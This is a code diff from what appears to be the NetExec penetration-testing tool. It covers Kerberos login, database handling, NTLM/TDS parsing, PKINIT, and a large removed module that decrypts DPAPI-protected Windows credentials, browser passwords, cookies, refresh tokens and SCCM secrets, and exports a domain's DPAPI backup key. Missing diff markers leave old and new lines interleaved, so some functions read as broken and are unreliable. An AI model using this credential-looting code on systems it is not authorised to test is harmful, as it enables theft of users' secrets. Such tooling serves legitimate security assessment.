self.logger.debug("Trying to authenticate using Kerberos cache")
with sem:
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
username = self.args.username[0] if len(self.args.username) else ""
password = self.args.password[0] if len(self.args.password) else ""
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
self.logger.info("Successfully authenticated using Kerberos cache")
@@ -606,9 +592,5 @@ class connection:
self.modules = []
for module_path in self.module_paths:
try:
module = loader.init_module(module_path)
except ModuleOptionsError as e:
self.logger.debug(f"Skipping module: {e}")
continue
module = loader.init_module(module_path)
self.modules.append(module)
-3
View File
@@ -7,9 +7,6 @@ reveal_chars_of_pwd = 0
log_mode = False
host_info_colors = ["green", "red", "yellow", "cyan"]
check_guest_account = False
display_dc = True
skip_self = False
exclude_hosts = []
[BloodHound]
bh_enabled = False
Binary file not shown.
+21 -55
View File
@@ -1,21 +1,18 @@
import configparser
import ipaddress
import platform
import shutil
import sys
from os import mkdir
from os.path import exists
from os.path import join as path_join
from pathlib import Path
from sqlite3 import connect
from threading import Lock
from sqlalchemy import Table, create_engine, MetaData, func
from sqlalchemy.exc import (
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from sqlalchemy import create_engine, MetaData, func
from sqlalchemy.exc import IllegalStateChangeError
from sqlalchemy.orm import sessionmaker, scoped_session
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.logger import nxc_logger
from nxc.paths import WORKSPACE_DIR
@@ -60,15 +57,25 @@ def init_protocol_dbs(workspace_name, p_loader=None):
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
db_engine = create_db_engine(proto_db_path)
protocol_object.database.db_schema(db_engine)
db_engine.dispose()
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute("PRAGMA journal_mode = OFF")
c.execute("PRAGMA foreign_keys = 1")
protocol_object.database.db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
def create_workspace(workspace_name, p_loader=None):
@@ -152,44 +159,6 @@ class BaseDB:
def reflect_tables(self):
raise NotImplementedError("Reflect tables not implemented")
def reflect_table(self, table):
with self.db_engine.connect():
try:
reflected_table = Table(table.__tablename__, self.metadata, autoload_with=self.db_engine)
# Check for column addition / deletion
reflected_columns = set(reflected_table.columns.keys())
orm_columns = {column.name for column in table.__table__.columns}
if reflected_columns != orm_columns:
raise ValueError(f"Schema mismatch detected! ORM columns: {orm_columns}, Reflected columns: {reflected_columns}")
# Check for constraint changes
reflected_constraints = [(type(c), c.columns.keys()) for c in reflected_table._sorted_constraints]
orm_constraints = [(type(c), c.columns.keys()) for c in table.__table__._sorted_constraints]
if reflected_constraints != orm_constraints:
raise ValueError(f"Schema mismatch detected! ORM constraints: {orm_constraints}, Reflected constraints: {reflected_constraints}")
return reflected_table
except (NoInspectionAvailable, NoSuchTableError, ValueError) as e:
commands_platform = {
"Windows": [
f"cmd /c copy {self.db_path} %USERPROFILE%\\nxc_{self.protocol.lower()}.bak",
f"del {self.db_path}"
],
"Linux": [
f"cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak",
f"rm -f {self.db_path}"
]
}
copy_command = commands_platform["Windows"][0] if platform.system() == "Windows" else commands_platform["Linux"][0]
delete_command = commands_platform["Windows"][1] if platform.system() == "Windows" else commands_platform["Linux"][1]
nxc_logger.fail(f"Schema mismatch detected for table '{table.__tablename__}' in protocol '{self.protocol}'")
nxc_logger.debug(e)
nxc_logger.fail("This is probably because a newer version of nxc is being run on an old DB schema.")
nxc_logger.fail(f"Optionally save the old DB data (`{copy_command}`)")
nxc_logger.fail(f"Then remove the {self.protocol} DB (`{delete_command}`) and run nxc to initialize the new DB")
sys.exit()
def shutdown_db(self):
try:
self.sess.close()
@@ -204,10 +173,7 @@ class BaseDB:
self.db_execute(table.delete())
def db_execute(self, *args):
with self.lock:
res = self.sess.execute(*args)
return res.freeze()() if res.returns_rows else res
def get_keys(self, key_id=None, cred_id=None):
"""Return an empty list by default. Protocols that support keys (e.g. SSH) override this."""
return []
self.lock.acquire()
res = self.sess.execute(*args)
self.lock.release()
return res
-15
View File
@@ -24,18 +24,3 @@ class DefaultTrackingAction(Action):
# Set an attribute to track whether the value was explicitly set
setattr(namespace, self.dest, values)
setattr(namespace, f"{self.dest}_explicitly_set", True)
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
-461
View File
@@ -1,461 +0,0 @@
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
from dploot.lib.target import Target
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
from dploot.triage.cng import CngTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from dploot.triage.vaults import VaultsTriage
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.helpers.logger import highlight
def upgrade_to_dploot_connection(target, connection):
"""
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
This function gets the calling NXC protocol and tries reuse the already opened connection
on DPLoot directly. If not it opens up a new connection.
"""
conn = None
protocol = target.protocol
try:
match protocol:
case "smb":
from dploot.lib.network.smb import DPLootSMBConnection
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection.conn
else:
conn.connect()
case "wmi":
from dploot.lib.network.wmi import DPLootWMIConnection
conn = DPLootWMIConnection(target)
if connection is not None:
conn.dcom = connection.dcom_conn
conn.iWbemLevel1Login = connection.iWbemLevel1Login
else:
conn.connect()
case "winrm":
from dploot.lib.network.winrm import DPLootWINRMConnection
conn = DPLootWINRMConnection(target)
if connection is not None:
conn.conn = connection.conn
else:
conn.connect()
case "mssql":
from dploot.lib.network.mssql import DPLootMSSQLConnection
conn = DPLootMSSQLConnection(target)
if connection is not None:
conn.conn = connection.conn
except Exception as e:
connection.logger.debug(e)
return None
return conn
class DPAPITriage:
"""
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
```
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = <dploot target creation>
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
```
This way, every DPAPI related module will automaticaly work with the protocol
"""
def __init__(self, connection, target: Target):
self.connection = connection
self.target = target
self.conn = None
self.dump_cookies = False
self.masterkeys = []
self._pvkbytes = None
# Keep track of writing secrets in file
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
self.secrets_counter = 0
if connection.args.dpapi is not None:
self.dump_cookies = "cookies" in connection.args.dpapi
# Variables to know what materkey types have already been dumped
self.system_masterkeys_already_dumped = False
self.users_masterkeys_already_dumped = False
# Initialize the connection here, if you need this class then you will need the connection
self.init_connection()
def __del__(self):
# When everything is finished, then we give the feedback to the user
if self.output_file is not None and self.secrets_counter > 0:
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
def log_secret(self, line, logger=None):
# Handle the secret counter here, avoid to handle it in multiple places
if logger is None:
logger = self.connection.logger
logger.highlight(line)
with open(self.output_file, "a", encoding="utf-8") as fd:
self.secrets_counter += 1
fd.write(line + "\n")
def init_connection(self):
"""Tries to initiate a DPLootConnection object from a NXC connection"""
if self.conn is not None:
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
return
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
if self.conn is None:
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
return
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
"""
Get and decrypt masterkeys from the target.
dump_users: If True, then user masterkeys will be collected if they have not already been
dump_system: If True, then system masterkeys will be collected if they have not already been
"""
# If we have already dumped everything, then we won't find new stuff
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
return self.masterkeys
masterkeys = []
plaintexts = {}
nthashes = {}
# First, check and handle the mkfile arg
if self.connection.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
except Exception as e:
self.connection.logger.fail(str(e))
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
if dump_users:
users = self.conn.list_users()
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
# dploot matches user.lower()
if self.connection.password != "":
plaintexts[self.connection.username.lower()] = self.connection.password
if self.connection.nthash != "":
nthashes[self.connection.username.lower()] = self.connection.nthash
# Now prepare the SYSTEM part
if (dump_system
and self.connection.dpapi_system_key is None
and hasattr(self.connection, "lsa")
and callable(self.connection.lsa)):
# We can use the protocol specific LSA dump if not already dumped.
# But first, just making sure the protocol supports LSA dump :)
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
self.connection.lsa(quiet=True)
if self.connection.dpapi_system_key is not None:
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
else:
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
# Invoke MasterkeyTriage class
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem=self.connection.dpapi_system_key,
)
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
# Collect User Masterkeys if this has not already been done
if dump_users and not self.users_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI Users masterkeys")
masterkeys += masterkeys_triage.triage_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.users_masterkeys_already_dumped = True
# Collect SYSTEM Masterkeys if this has not already been done
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
masterkeys += masterkeys_triage.triage_system_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.system_masterkeys_already_dumped = True
except Exception as e:
self.connection.logger.debug(f"Could not get masterkeys: {e}")
self.masterkeys += masterkeys
# If we decrypted new masterkeys, print the message
if len(masterkeys) > 0:
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
return self.masterkeys
def triage_credentials(self, masterkeys: list[Masterkey]):
# Collect User and Machine Credentials Manager secrets
def credential_callback(credential):
tag = "CREDENTIAL"
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
credential.winuser,
credential.username,
credential.password,
credential.target,
)
try:
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
credentials_triage.triage_credentials()
credentials_triage.triage_system_credentials()
except Exception as e:
self.connection.logger.debug(f"Error while looting credentials: {e}")
def triage_chromium(self, masterkeys: list[Masterkey]):
cng_chromekey = None
# We need the CNG triage to recover Chrome passwords since Chrome v137
try:
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
for cng_file in cng_triage.triage_system_cng():
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
cng_chromekey = cng_file.decrypted_private_key
except Exception as e:
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
# Collect Chrome Based Browser stored secrets
def browser_callback(secret):
if isinstance(secret, LoginData):
secret_url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, GoogleRefreshToken):
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.service,
secret.token,
"Google Refresh Token",
)
elif isinstance(secret, Cookie):
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
except Exception as e:
self.connection.logger.debug(f"Error while looting browsers: {e}")
def triage_vaults(self, masterkeys: list[Masterkey]):
def vault_callback(secret):
tag = "IEX"
if secret.type == "Internet Explorer":
resource = secret.resource + " -" if secret.resource != "" else "-"
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.resource,
)
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
vaults_triage.triage_vaults()
except Exception as e:
self.connection.logger.debug(f"Error while looting vaults: {e}")
def triage_firefox(self):
def firefox_callback(secret):
tag = "FIREFOX"
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
firefox_triage.run(gather_cookies=self.dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting firefox: {e}")
# The dpapi function for every protocol
def triage_dpapi(self):
# Load masterkeys
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
if len(masterkeys) == 0:
# Nothing will be recovered if no masterkeys, so we can stop there
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting secrets...")
# Calling all the triage functions. We can add other triage functions here
self.triage_credentials(masterkeys)
self.triage_chromium(masterkeys)
self.triage_vaults(masterkeys)
self.triage_firefox()
def triage_sccm(self):
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
if len(masterkeys) == 0:
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting SCCM Credentials")
def sccm_callback(secret):
if isinstance(secret, SCCMCred):
tag = "NAA Account"
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.username.decode("latin-1"),
secret.password.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMSecret):
tag = "Task sequences secret"
line = f"[{tag}] {secret.secret.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
"N/A",
secret.secret.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMCollection):
tag = "Collection Variable"
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.variable.decode("latin-1"),
secret.value.decode("latin-1"),
"N/A",
)
try:
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
sccm_triage.triage_sccm()
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@property
def pvkbytes(self):
"""
The pvkbytes. If not already initialized, tries to set it
The precedence order is the following :
- Check the pvk argument
- Checks in the DB
- Get it from a domain controller
"""
# pvkbytes already loaded and in cache ? Serve it
if self._pvkbytes is not None:
return self._pvkbytes
pvkbytes = None
# First check the pvk argument and handle it
if self.connection.args.pvk is not None:
try:
with open(self.connection.args.pvk, "rb") as fd:
pvkbytes = fd.read()
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
except Exception as e:
self.connection.logger.fail(str(e))
# If no pvkbytes yet, then we check in the DB
if pvkbytes is None:
try:
results = self.connection.db.get_domain_backupkey(self.connection.domain)
except Exception:
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
return False
if len(results) > 0:
self.connection.logger.success("Loading domain backupkey from nxcdb...")
pvkbytes = results[0][2]
# If no pvkbytes yet, then we can try to get it from a domain controller
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
try:
dc_target = SMBTarget.create(
domain=self.connection.domain,
username=self.connection.username,
password=self.connection.password,
address=self.connection.kdcHost, # querying DNS server for domain will return DC
lmhash=self.connection.lmhash,
nthash=self.connection.nthash,
do_kerberos=self.connection.kerberos,
aesKey=self.connection.aesKey,
use_kcache=self.connection.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
pvkbytes = backupkey.backupkey_v2
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
else:
self.connection.no_da = False
except Exception as e:
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
self._pvkbytes = pvkbytes
return self._pvkbytes
+6 -7
View File
@@ -4,7 +4,6 @@ import struct
import uuid
from datetime import datetime
from nxc.logger import nxc_logger
class Substitution:
@@ -46,7 +45,7 @@ class Substitution:
elif self._type == 0xf:
return str(uuid.UUID(bytes_le=value.data))
else:
nxc_logger.display(f"Unknown value type {hex(value.type)}")
print("Unknown value type", hex(value.type))
class Value:
@@ -71,7 +70,7 @@ class Attribute:
elif next_token[0] == 0x0e:
self._value = Substitution(buf, offset + 1 + self._name.length)
else:
nxc_logger.display(f"Unknown attribute next_token {hex(next_token[0])} {hex(offset + 1 + self._name.length)}")
print("Unknown attribute next_token", hex(next_token[0]), hex(offset + 1 + self._name.length))
self.length = 1 + self._name.length + self._value.length
@@ -124,7 +123,7 @@ class Element:
elif next_token == 0x0e or next_token == 0x0d:
element = Substitution(buf, ofs)
else:
nxc_logger.display(f"Unknown intern next_token {hex(next_token)} {hex(ofs)}")
print("Unknown intern next_token", hex(next_token), hex(ofs))
break
self._children.append(element)
@@ -136,7 +135,7 @@ class Element:
ofs += 1
break
else:
nxc_logger.display(f"Unknown element next_token {hex(next_token)} {hex(ofs)}")
print("Unknown element next_token", hex(next_token), hex(ofs))
break
self.length = ofs - offset
@@ -182,7 +181,7 @@ class TemplateInstance:
self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
else:
nxc_logger.display(f"Unknown template token {hex(next_token)}")
print("Unknown template token", hex(next_token))
def xml(self, template=None):
return self._xml.xml(self)
@@ -197,7 +196,7 @@ class BinXML:
elif next_token == 0x01 or next_token == 0x41:
self._element = Element(buf, offset + 4)
else:
nxc_logger.display(f"Unknown binxml token {hex(next_token)}")
print("Unknown binxml token", hex(next_token))
self.length = 4 + self._element.length
-12
View File
@@ -226,18 +226,6 @@ def convert(low, high, lockout=False):
return time
def parse_argument(argument: list) -> list:
"""Parse input from an argparse argument, which can be either a value or a file containing values."""
parsed_items = []
for item in argument:
if os.path.isfile(item):
with open(item) as f:
parsed_items.extend(line.strip() for line in f if line.strip())
else:
parsed_items.append(item.strip())
return parsed_items
def display_modules(args, modules):
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
# Add category filter for module listing
+43
View File
@@ -0,0 +1,43 @@
from nxc.paths import NXC_PATH
from os import makedirs
import logging
import datetime
def create_log_dir(module_name):
makedirs(f"{NXC_PATH}/logs/{module_name}", exist_ok=True)
def create_loot_dir(module_name):
makedirs(f"{NXC_PATH}/loot/{module_name}", exist_ok=True)
def generate_module_log_file(module_name):
create_log_dir(module_name)
return f"{NXC_PATH}/logs/{module_name}/{datetime.now().strftime('%Y-%m-%d')}.log"
def create_module_logger(module_name):
log_file = generate_module_log_file(module_name)
module_logger = logging.getLogger(module_name)
module_logger.propagate = False
module_logger.setLevel(logging.INFO)
module_file_handler = logging.FileHandler(log_file)
module_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
module_logger.addHandler(module_file_handler)
return module_logger
def add_loot_data(module_name, filename, data):
create_loot_dir(module_name)
loot_file = get_loot_data_filepath(module_name, filename)
with open(loot_file, "a") as file:
file.write(data)
def get_loot_data_filepath(module_name, filename):
return f"{NXC_PATH}/loot/{module_name}/{filename}"
def get_loot_data_folder(module_name):
return f"{NXC_PATH}/loot/{module_name}"
-92
View File
@@ -1,92 +0,0 @@
# Parsing helpers for auth negotiation: NTLM challenges and TDS ERROR/INFO on MSSQL LOGIN7.
# Original NTLM parsing from: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
from impacket.tds import TDS_ERROR_TOKEN, TDS_INFO_TOKEN, TDS_INFO_ERROR
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
def decode_tds_info_error_msgtext(data, offset):
"""Extract MsgText from a TDS ERROR (0xAA) or INFO (0xAB) token at *offset*.
Official spec: [MS-TDS] Tabular Data Stream Protocol (Microsoft Learn).
Token layout per MS-TDS 2.2.7.9 (INFO) / 2.2.7.10 (ERROR):
TokenType BYTE 0xAA | 0xAB
Length USHORT LE byte count of the remaining fields
Number LONG LE error / info number
State BYTE
Class BYTE severity
MsgText US_VARCHAR (2-byte LE length prefix + UTF-16LE)
... (ServerName, ProcName, LineNumber follow but are unused here)
The minimum *Length* value for a valid token is 8: Number(4) + State(1) +
Class(1) + MsgText length prefix(2, may be zero-length string).
References (Microsoft Learn, MS-TDS):
INFO: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/284bb815-d083-4ed5-b33a-bdc2492e322b
ERROR: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/9805e9fa-1f8b-4cf8-8f78-8d2602228635
Data packet stream tokens: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/f79bb5b8-5919-439a-a696-48064b78b091
"""
remaining = len(data) - offset
if remaining < 3 or data[offset] not in (TDS_ERROR_TOKEN, TDS_INFO_TOKEN):
return None
# Length (USHORT LE) after TokenType, see MS-TDS INFO/ERROR links in docstring
payload_len = int.from_bytes(data[offset + 1 : offset + 3], "little")
if payload_len < 8 or remaining < 3 + payload_len:
return None
try:
token = TDS_INFO_ERROR(data[offset:])
text = token["MsgText"].decode("utf-16le").strip()
except Exception:
return None
return text or None
def login7_integrated_auth_error_message(packet_data, data_after_login_header):
"""Scan raw LOGIN7 response buffers for the first ERROR/INFO message.
When a server does not support Integrated Windows Authentication it replies
to the LOGIN7 NTLMSSP negotiate with a TDS error token instead of an
NTLMSSP challenge. This helper locates the first ERROR (0xAA) or INFO
(0xAB) token in either the full packet or the payload after the 3-byte
LOGIN7 response header and returns its MsgText.
"""
token_markers = (TDS_ERROR_TOKEN, TDS_INFO_TOKEN)
for buf in filter(None, (packet_data, data_after_login_header)):
for offset in (i for i in range(len(buf)) if buf[i] in token_markers):
msg = decode_tds_info_error_msgtext(buf, offset)
if msg:
return msg
return None
+34
View File
@@ -0,0 +1,34 @@
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
-13
View File
@@ -1,13 +0,0 @@
from pathlib import PurePosixPath
def sanitize_filename(name: str) -> str:
"""Strip path traversal components from an SMB filename.
Follows the pattern from spider_plus.py — filters '..' and '.' from
PurePosixPath.parts to prevent directory traversal attacks from
malicious SMB servers.
"""
parts = PurePosixPath(name.replace("\\", "/")).parts
clean = [p for p in parts if p not in ("..", ".", "/")]
return str(PurePosixPath(*clean)) if clean else ""
+39 -85
View File
@@ -35,18 +35,15 @@ import base64
from binascii import unhexlify, hexlify
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
from asn1crypto import cms
from asn1crypto import algos
from asn1crypto import core
from asn1crypto import keys
from asn1crypto import x509
from minikerberos.protocol.dirtydh import DirtyDH
from minikerberos.pkinit import PKINIT, DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
@@ -74,44 +71,12 @@ from nxc.paths import NXC_PATH
from nxc.logger import nxc_logger
def _load_asn1_certificate(data):
"""Load a certificate as an asn1crypto object, accepting both PEM and DER input
The certificate is parsed by cryptography and re-encoded, so that malformed input is
rejected here instead of failing later inside asn1crypto, which parses lazily
"""
cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data)
return _to_asn1_certificate(cert)
def _to_asn1_certificate(cert):
"""Convert a cryptography certificate to the asn1crypto object the CMS structures need"""
return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER))
def _check_rsa_privkey(privkey):
"""PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early"""
if not isinstance(privkey, rsa.RSAPrivateKey):
raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}")
return privkey
class myPKINIT:
class myPKINIT(PKINIT):
"""
Copy of minikerberos PKINIT
With some changes where it differs from PKINIT used in NegoEx
This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto,
which fails at import time on any OpenSSL whose version has a two digit component
"""
def __init__(self):
self.privkey = None
self.certificate = None
self.issuer = None
self.cname = None
self.diffie = None
@staticmethod
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
with open(pfxfile, "rb") as f:
@@ -125,17 +90,26 @@ class myPKINIT:
@staticmethod
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
